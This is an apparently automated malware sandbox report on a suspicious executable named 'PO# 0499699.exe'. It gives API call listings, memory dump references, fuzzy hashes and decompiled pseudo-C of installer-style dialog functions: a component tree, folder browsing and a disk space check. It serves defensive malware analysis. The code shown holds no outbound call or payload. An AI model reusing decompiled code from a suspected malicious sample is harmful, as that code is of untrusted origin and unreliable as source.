0x00404f1f
0x00404f2e
0x00404f36
0x00404f3e
0x00404f43
0x00404f46
0x00404f52
0x00404f5b
0x00404f64
0x00404f87
0x00404f8d
0x00404f9e
0x00404fa3
0x00404fb1
0x00404fbf
0x00404fbf
0x00404fc4
0x00404fd2
0x00404fd2
0x00404fd7
0x00404fda
0x00404fdf
0x00404feb
0x00404ff4
0x00405001
0x00405010
0x00405003
0x00405008
0x00405008
0x0040501c
0x0040501c
0x00405030
0x00405039
0x00405042
0x00405052
0x0040505e
0x0040505e
0x00000000

APIs

GetDlgItem.USER32 ref: 00404F18
GetDlgItem.USER32 ref: 00404F27
GetClientRect.USER32 ref: 00404F64
GetSystemMetrics.USER32 ref: 00404F6C
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00404F8D
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00404F9E
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 00404FB1
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 00404FBF
SendMessageA.USER32(?,00001024,00000000,?), ref: 00404FD2
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00404FF4
ShowWindow.USER32(?,00000008), ref: 00405008
GetDlgItem.USER32 ref: 00405029
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405039
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 00405052
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 0040505E
GetDlgItem.USER32 ref: 00404F36

Part of subcall function 00403DC4: SendMessageA.USER32(00000028,?,00000001,00403BF5), ref: 00403DD2

GetDlgItem.USER32 ref: 0040507B
CreateThread.KERNEL32(00000000,00000000,Function_00004E4D,00000000), ref: 00405089
CloseHandle.KERNEL32(00000000), ref: 00405090
ShowWindow.USER32(00000000), ref: 004050B4
ShowWindow.USER32(?,00000008), ref: 004050B9
ShowWindow.USER32(00000008), ref: 00405100
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405132
CreatePopupMenu.USER32 ref: 00405143
AppendMenuA.USER32 ref: 00405158
GetWindowRect.USER32 ref: 0040516B
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040518F
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004051CA
OpenClipboard.USER32(00000000), ref: 004051DA
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 004051E0
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004051E9
GlobalLock.KERNEL32 ref: 004051F3
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405207
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040521F
SetClipboardData.USER32(00000001,00000000), ref: 0040522A
CloseClipboard.USER32(?,?,00000000,?,00000000), ref: 00405230

Strings

{, xrefs: 0040511F

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 001334b4ba3c222cf79d50ec4f04ffad4c31a43647bbcf3abe0fe5947dea7136
Instruction ID: d8c2bf4a41f8d47596d7e212a196e63f96e24a60825c263716f9721a4c55cacb
Opcode Fuzzy Hash: 001334b4ba3c222cf79d50ec4f04ffad4c31a43647bbcf3abe0fe5947dea7136
Instruction Fuzzy Hash: 99A13A71900208BFDB219F60DD89EAE7F79FB04355F00817AFA04BA2A0C7799A51DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004046CA, Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E004046CA(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				int _t196;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x423ea8;
				_t320 = SendMessageA;
				_v8 = _t182;
				_t315 = 0;
				_v32 = _t280;
				_v20 =  *0x423e90 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t289;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t289 + 4)) == 0x408) {
							if(( *0x423e99 & 0x00000002) != 0) {
								L41:
								if(_v16 != _t315) {
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) & 0xffffffdf;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E0040464A(_v8, _a8 != 0x413);
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									if((_t289 & 0x00000010) == 0) {
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
										} else {
											_t300 = _t289 ^ 0x00000080;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t289 = 1;
										_a8 = 0x40f;
										_a12 = 1;
										_a16 =  !( *0x423e98) >> 0x00000008 & 1;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, _t315, _t315);
							}
							if(_a8 == 0x40b) {
								_t220 =  *0x420454;
								if(_t220 != _t315) {
									ImageList_Destroy(_t220);
								}
								_t221 =  *0x42046c;
								if(_t221 != _t315) {
									GlobalFree(_t221);
								}
								 *0x420454 = _t315;
								 *0x42046c = _t315;
								 *0x423ee0 = _t315;
							}
							if(_a8 != 0x40f) {
								L86:
								if(_a8 == 0x420 && ( *0x423e99 & 0x00000001) != 0) {
									_t316 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t316);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
								}
								goto L89;
							} else {
								E004011EF(_t289, _t315, _t315);
								if(_a12 != _t315) {
									E0040140B(8);
								}
								if(_a16 == _t315) {
									L73:
									E004011EF(_t289, _t315, _t315);
									_v32 =  *0x42046c;
									_t196 =  *0x423ea8;
									_v60 = 0xf030;
									_v16 = _t315;
									if( *0x423eac <= _t315) {
										L84:
										InvalidateRect(_v8, _t315, 1);
										if( *((intOrPtr*)( *0x42365c + 0x10)) != _t315) {
											E00404568(0x3ff, 0xfffffffb, E0040461D(5));
										}
										goto L86;
									}
									_t281 = _t196 + 8;
									do {
										_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
										if(_t202 != _t315) {
											_t291 =  *_t281;
											_v68 = _t202;
											_v72 = 8;
											if((_t291 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t281[4]);
												_t281[0] = _t281[0] & 0x000000fe;
											}
											if((_t291 & 0x00000040) == 0) {
												_t206 = (_t291 & 0x00000001) + 1;
												if((_t291 & 0x00000010) != 0) {
													_t206 = _t206 + 3;
												}
											} else {
												_t206 = 3;
											}
											_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t291 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageA(_v8, 0x110d, _t315,  &_v72);
										}
										_v16 = _v16 + 1;
										_t281 =  &(_t281[0x106]);
									} while (_v16 <  *0x423eac);
									goto L84;
								} else {
									_t282 = E004012E2( *0x42046c);
									E00401299(_t282);
									_t217 = 0;
									_t289 = 0;
									if(_t282 <= _t315) {
										L72:
										SendMessageA(_v12, 0x14e, _t289, _t315);
										_a16 = _t282;
										_a8 = 0x420;
										goto L73;
									} else {
										goto L69;
									}
									do {
										L69:
										if( *((intOrPtr*)(_v20 + _t217 * 4)) != _t315) {
											_t289 = _t289 + 1;
										}
										_t217 = _t217 + 1;
									} while (_t217 < _t282);
									goto L72;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L89;
						} else {
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							if(_t283 == 0xffffffff ||  *((intOrPtr*)(_v20 + _t283 * 4)) == _t315) {
								_t283 = 0x20;
							}
							E00401299(_t283);
							SendMessageA(_a4, 0x420, _t315, _t283);
							_a12 = 1;
							_a16 = _t315;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					 *0x423ee0 = _a4;
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x42046c = GlobalAlloc(0x40,  *0x423eac << 2);
					_t250 = LoadBitmapA( *0x423e80, 0x6e);
					 *0x420460 =  *0x420460 | 0xffffffff;
					_v24 = _t250;
					 *0x420468 = SetWindowLongA(_v8, 0xfffffffc, E00404CCB);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x420454 = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x420454);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E004059FF(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403D8F(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403D8F(_a4);
					_t318 = 0;
					_t288 = 0;
					if( *0x423eac <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									if((_t269 & 0x00000004) == 0) {
										 *( *0x42046c + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x42046c + _t318 * 4) = _t274;
									_t288 =  *( *0x42046c + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_v24 = _t311;
						} while (_t318 <  *0x423eac);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403DC4(_v8);
								_t280 = _v32;
								_t315 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403DC4(_v12);
								L89:
								return E00403DF6(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x004046e8
0x004046ee
0x004046f0
0x004046f6
0x004046fc
0x00404709
0x00404712
0x00404715
0x00404718
0x00404940
0x00404947
0x0040495b
0x00404949
0x0040494b
0x0040494e
0x0040494f
0x00404956
0x00404956
0x00404967
0x00404975
0x00404978
0x0040498e
0x00404a06
0x00404a09
0x00404a0b
0x00404a15
0x00404a23
0x00404a23
0x00404a25
0x00404a2f
0x00404a35
0x00404a56
0x00404a37
0x00404a44
0x00404a44
0x00404a35
0x00404a2f
0x00000000
0x00404a09
0x00404993
0x0040499e
0x004049a3
0x004049aa
0x004049b1
0x004049bb
0x004049bb
0x004049bf
0x004049c4
0x004049c9
0x004049df
0x004049cb
0x004049cb
0x004049d3
0x004049da
0x004049d5
0x004049d5
0x004049d5
0x004049d3
0x004049e3
0x004049e5
0x004049f3
0x004049f4
0x00404a00
0x00404a03
0x00404a03
0x004049c4
0x00000000
0x004049b1
0x00404995
0x0040499c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a59
0x00404a59
0x00404a60
0x00404ad4
0x00404adb
0x00404ae7
0x00404ae7
0x00404af0
0x00404af2
0x00404af9
0x00404afc
0x00404afc
0x00404b02
0x00404b09
0x00404b0c
0x00404b0c
0x00404b12
0x00404b18
0x00404b1e
0x00404b1e
0x00404b2b
0x00404c78
0x00404c7f
0x00404c9c
0x00404ca2
0x00404cb4
0x00404cb4
0x00000000
0x00404b31
0x00404b33
0x00404b3b
0x00404b3f
0x00404b3f
0x00404b47
0x00404b88
0x00404b8a
0x00404b9a
0x00404b9d
0x00404ba2
0x00404ba9
0x00404bac
0x00404c4e
0x00404c54
0x00404c62
0x00404c73
0x00404c73
0x00000000
0x00404c62
0x00404bb2
0x00404bb5
0x00404bbb
0x00404bc0
0x00404bc2
0x00404bc4
0x00404bca
0x00404bd1
0x00404bd6
0x00404bdd
0x00404be0
0x00404be0
0x00404be7
0x00404bf3
0x00404bf7
0x00404bf9
0x00404bf9
0x00404be9
0x00404beb
0x00404beb
0x00404c19
0x00404c25
0x00404c34
0x00404c34
0x00404c36
0x00404c39
0x00404c42
0x00000000
0x00404b49
0x00404b54
0x00404b57
0x00404b5c
0x00404b5e
0x00404b62
0x00404b72
0x00404b7c
0x00404b7e
0x00404b81
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b64
0x00404b64
0x00404b6a
0x00404b6c
0x00404b6c
0x00404b6d
0x00404b6e
0x00000000
0x00404b64
0x00404b47
0x00404b2b
0x00404a68
0x00000000
0x00404a7e
0x00404a88
0x00404a8d
0x00000000
0x00000000
0x00404a9f
0x00404aa4
0x00404ab0
0x00404ab0
0x00404ab2
0x00404ac1
0x00404ac3
0x00404aca
0x00404acd
0x00000000
0x00404acd
0x00404a68
0x0040471e
0x00404723
0x0040472d
0x0040472e
0x00404737
0x00404742
0x0040474d
0x00404753
0x00404761
0x00404776
0x0040477b
0x00404786
0x0040478f
0x004047a4
0x004047b5
0x004047c2
0x004047c2
0x004047c7
0x004047cd
0x004047cf
0x004047d2
0x004047d7
0x004047dc
0x004047de
0x004047de
0x004047fe
0x004047fe
0x00404800
0x00404801
0x00404806
0x00404809
0x0040480c
0x00404810
0x00404815
0x0040481a
0x0040481e
0x00404823
0x00404828
0x0040482a
0x00404832
0x004048fc
0x0040490f
0x00000000
0x00404838
0x0040483b
0x0040483e
0x00404841
0x00404841
0x00404847
0x0040484d
0x00404850
0x00404856
0x00404857
0x0040485c
0x00404865
0x0040486c
0x0040486f
0x00404872
0x00404875
0x004048b1
0x004048da
0x004048b3
0x004048c0
0x004048c0
0x00404877
0x0040487a
0x00404889
0x00404893
0x0040489b
0x004048a2
0x004048aa
0x004048aa
0x00404875
0x004048e0
0x004048e1
0x004048ed
0x004048ed
0x004048fa
0x00404915
0x00404919
0x00404936
0x0040493b
0x0040493e
0x00000000
0x0040491b
0x00404920
0x00404929
0x00404cb6
0x00404cc8
0x00404cc8
0x00404919
0x00000000
0x004048fa
0x00404832

APIs

GetDlgItem.USER32 ref: 004046E1
GetDlgItem.USER32 ref: 004046EE
GlobalAlloc.KERNEL32(00000040,?), ref: 0040473A
LoadBitmapA.USER32 ref: 0040474D
SetWindowLongA.USER32 ref: 00404767
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040477B
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 0040478F
SendMessageA.USER32(?,00001109,00000002), ref: 004047A4
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004047B0
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004047C2
DeleteObject.GDI32(?), ref: 004047C7
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004047F2
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004047FE
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404893
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004048BE
SendMessageA.USER32(?,00001100,00000000,?), ref: 004048D2
GetWindowLongA.USER32 ref: 00404901
SetWindowLongA.USER32 ref: 0040490F
ShowWindow.USER32(?,00000005), ref: 00404920
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404A23
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404A88
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404A9D
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404AC1
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404AE7
ImageList_Destroy.COMCTL32(?), ref: 00404AFC
GlobalFree.KERNEL32 ref: 00404B0C
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404B7C
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404C25
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404C34
InvalidateRect.USER32(?,00000000,00000001), ref: 00404C54
ShowWindow.USER32(?,00000000), ref: 00404CA2
GetDlgItem.USER32 ref: 00404CAD
ShowWindow.USER32(00000000), ref: 00404CB4

Strings

M, xrefs: 0040487A
, xrefs: 00404C8C
N, xrefs: 0040495E

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 2218f254bd768403f12b45b221eec84538c1d5bde26f6f708cdc4201c9d318c0
Instruction ID: 1ebc4e1f5dd1db854d7f91ec63dfd1d34711f9484ded547680f267f962745bc2
Opcode Fuzzy Hash: 2218f254bd768403f12b45b221eec84538c1d5bde26f6f708cdc4201c9d318c0
Instruction Fuzzy Hash: 0802ADB0A00208EFDB20DF65DC45AAE7BB5FB84315F10817AF610BA2E1D7799A41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004041CD, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 266
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004041CD(struct HWND__* _a4, signed int _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				struct HWND__* _v12;
				long _v16;
				long _v20;
				char _v24;
				long _v28;
				char _v32;
				intOrPtr _v36;
				long _v40;
				signed int _v44;
				CHAR* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				CHAR* _v68;
				void _v72;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t81;
				long _t86;
				signed char* _t88;
				void* _t94;
				signed int _t95;
				signed short _t113;
				signed int _t117;
				char* _t122;
				intOrPtr* _t138;
				signed int* _t145;
				signed int _t148;
				signed int _t153;
				struct HWND__* _t159;
				CHAR* _t162;
				int _t163;

				_t81 =  *0x41fc48;
				_v36 = _t81;
				_t162 = ( *(_t81 + 0x3c) << 0xa) + 0x424000;
				_v8 =  *((intOrPtr*)(_t81 + 0x38));
				if(_a8 == 0x40b) {
					E00405282(0x3fb, _t162);
					E00405C3F(_t162);
				}
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405282(0x3fb, _t162);
							if(E004055B1(_t180, _t162) == 0) {
								_v8 = 1;
							}
							E004059DD(0x41f440, _t162);
							_t145 = 0;
							_t86 = E00405CFF(0);
							_v16 = _t86;
							if(_t86 == 0) {
								L31:
								E004059DD(0x41f440, _t162);
								_t88 = E00405564(0x41f440);
								if(_t88 != _t145) {
									 *_t88 =  *_t88 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41f440,  &_v20,  &_v28,  &_v16,  &_v40) == 0) {
									_t153 = _a8;
									goto L37;
								} else {
									_t163 = 0x400;
									_t153 = MulDiv(_v20 * _v28, _v16, 0x400);
									_v12 = 1;
									goto L38;
								}
							} else {
								if(0 == 0x41f440) {
									L30:
									_t145 = 0;
									goto L31;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t113 = _v16(0x41f440,  &_v44,  &_v24,  &_v32);
									if(_t113 != 0) {
										break;
									}
									if(_t145 != 0) {
										 *_t145 =  *_t145 & _t113;
									}
									_t145 = E00405517(0x41f440) - 1;
									 *_t145 = 0x5c;
									if(_t145 != 0x41f440) {
										continue;
									} else {
										goto L30;
									}
								}
								_t153 = (_v40 << 0x00000020 | _v44) >> 0xa;
								_v12 = 1;
								_t145 = 0;
								L37:
								_t163 = 0x400;
								L38:
								_t94 = E0040461D(5);
								if(_v12 != _t145 && _t153 < _t94) {
									_v8 = 2;
								}
								if( *((intOrPtr*)( *0x42365c + 0x10)) != _t145) {
									E00404568(0x3ff, 0xfffffffb, _t94);
									if(_v12 == _t145) {
										SetDlgItemTextA(_a4, _t163, 0x41f430);
									} else {
										E00404568(_t163, 0xfffffffc, _t153);
									}
								}
								_t95 = _v8;
								 *0x423f24 = _t95;
								if(_t95 == _t145) {
									_v8 = E0040140B(7);
								}
								if(( *(_v36 + 0x14) & _t163) != 0) {
									_v8 = _t145;
								}
								E00403DB1(0 | _v8 == _t145);
								if(_v8 == _t145 &&  *0x420464 == _t145) {
									E00404162();
								}
								 *0x420464 = _t145;
								goto L53;
							}
						}
						_t180 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t117 = _a12 & 0x0000ffff;
					if(_t117 != 0x3fb) {
						L12:
						if(_t117 == 0x3e9) {
							_t148 = 7;
							memset( &_v72, 0, _t148 << 2);
							_v76 = _a4;
							_v68 = 0x420478;
							_v56 = E00404502;
							_v52 = _t162;
							_v64 = E004059FF(0x3fb, 0x420478, _t162, 0x41f848, _v8);
							_t122 =  &_v76;
							_v60 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E004054D0(_t162);
								_t125 =  *((intOrPtr*)( *0x423e90 + 0x11c));
								if( *((intOrPtr*)( *0x423e90 + 0x11c)) != 0 && _t162 == "C:\\Users\\jones\\AppData\\Local\\Temp") {
									E004059FF(0x3fb, 0x420478, _t162, 0, _t125);
									if(lstrcmpiA(0x422e20, 0x420478) != 0) {
										lstrcatA(_t162, 0x422e20);
									}
								}
								 *0x420464 =  &(( *0x420464)[0]);
								SetDlgItemTextA(_a4, 0x3fb, _t162);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t159 = _a4;
					_v12 = GetDlgItem(_t159, 0x3fb);
					if(E0040553D(_t162) != 0 && E00405564(_t162) == 0) {
						E004054D0(_t162);
					}
					 *0x423658 = _t159;
					SetWindowTextA(_v12, _t162);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403D8F(_t159);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403D8F(_t159);
					E00403DC4(_v12);
					_t138 = E00405CFF(7);
					if(_t138 == 0) {
						L53:
						return E00403DF6(_a8, _a12, _a16);
					}
					 *_t138(_v12, 1);
					goto L8;
				}
			}

0x004041d3
0x004041da
0x004041e6
0x004041f4
0x004041fc
0x00404200
0x00404206
0x00404206
0x00404212
0x00404286
0x0040428d
0x00404362
0x00404369
0x00404378
0x00404378
0x0040437c
0x00404382
0x0040438f
0x00404391
0x00404391
0x0040439f
0x004043a4
0x004043a7
0x004043ae
0x004043b1
0x004043e8
0x004043ea
0x004043f0
0x004043f7
0x004043f9
0x004043f9
0x00404415
0x00404451
0x00000000
0x00404417
0x0040441a
0x0040442e
0x00404430
0x00000000
0x00404430
0x004043b3
0x004043b7
0x004043e6
0x004043e6
0x00000000
0x00000000
0x00000000
0x00000000
0x004043b9
0x004043b9
0x004043c6
0x004043cb
0x00000000
0x00000000
0x004043cf
0x004043d1
0x004043d1
0x004043dc
0x004043df
0x004043e4
0x00000000
0x00000000
0x00000000
0x00000000
0x004043e4
0x0040443f
0x00404446
0x0040444d
0x00404454
0x00404454
0x00404459
0x0040445b
0x00404463
0x00404469
0x00404469
0x00404479
0x00404483
0x0040448b
0x004044a1
0x0040448d
0x00404491
0x00404491
0x0040448b
0x004044a6
0x004044ab
0x004044b0
0x004044b9
0x004044b9
0x004044c2
0x004044c4
0x004044c4
0x004044d0
0x004044d8
0x004044e2
0x004044e2
0x004044e7
0x00000000
0x004044e7
0x004043b1
0x0040436b
0x00404372
0x00000000
0x00000000
0x00000000
0x00404372
0x00404293
0x00404299
0x004042b3
0x004042b8
0x004042c2
0x004042c9
0x004042d8
0x004042db
0x004042de
0x004042e5
0x004042ed
0x004042f0
0x004042f4
0x004042fb
0x00404303
0x0040435b
0x00404305
0x00404306
0x0040430d
0x00404317
0x0040431f
0x0040432c
0x00404340
0x00404344
0x00404344
0x00404340
0x00404349
0x00404354
0x00404354
0x00404303
0x00000000
0x004042b8
0x004042a6
0x00000000
0x00000000
0x004042ac
0x00000000
0x00404214
0x00404214
0x00404220
0x0040422a
0x00404237
0x00404237
0x0040423d
0x00404246
0x0040424f
0x00404252
0x00404255
0x0040425d
0x00404260
0x00404263
0x0040426b
0x00404272
0x00404279
0x004044ed
0x004044ff
0x004044ff
0x00404284
0x00000000
0x00404284

APIs

GetDlgItem.USER32 ref: 00404219
SetWindowTextA.USER32(?,?), ref: 00404246
SHBrowseForFolderA.SHELL32(?,0041F848,?), ref: 004042FB
CoTaskMemFree.OLE32(00000000), ref: 00404306
lstrcmpiA.KERNEL32(Call,00420478,00000000,?,?), ref: 00404338
lstrcatA.KERNEL32(?,Call), ref: 00404344
SetDlgItemTextA.USER32 ref: 00404354

Part of subcall function 00405282: GetDlgItemTextA.USER32 ref: 00405295

Part of subcall function 00405C3F: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
Part of subcall function 00405C3F: CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
Part of subcall function 00405C3F: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
